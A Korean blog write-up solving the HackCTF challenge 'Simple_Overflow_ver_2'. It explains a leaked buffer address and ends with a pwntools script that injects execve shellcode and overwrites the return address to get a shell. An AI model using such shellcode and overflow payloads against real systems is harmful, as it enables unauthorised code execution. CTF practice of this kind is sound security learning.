Wargame/HackCTF

Simple_Overflow_ver_2

Anatis 2021. 3. 16. 14:40

1. Mitigation

 

2. 문제 확인

프로그램을 실행시키면 Data에 입력을 받고 주소가 출력되면서 데이터가 출력되고 다시 입력할건지 안할껀지 물어보고 y를 선택하면 다시 입력받고 아니면 프로그램을 종료한다.

 

주소가 출력되는것을 보면 출력된 주소가 버퍼의 주소임을 의심해볼 수 있다. 자세한건 IDA를 통해 확인해 보자.

 

3. 풀이

메인함수의 코드 부분을 보면 예상했던데로 출력해주는 주소는 버퍼의 주소이다.

 

코드의 흐름을 살펴보면 데이터를 입력받고 버퍼의 주소와 데이터를 출력해준뒤 다시 입력할지 말지 물어본다. 그렇다면 버퍼 주소를 출력해주니 이를 통해 쉘코드를 입력하고 리턴 주소를 버퍼의 주소로 실행 흐름을 조작해주면 될것이다.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3006)

r.sendlineafter('Data : ', 'AAAA')

buf_addr = int(r.recvuntil(':').strip(':'), 16)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
log.info('buf addr = ' + hex(buf_addr))

r.sendlineafter('(y/n)', 'y')

payload = shellcode
payload += 'A'*(0x88 - len(shellcode) + 4)
payload += p32(buf_addr)

r.sendline(payload)

r.interactive()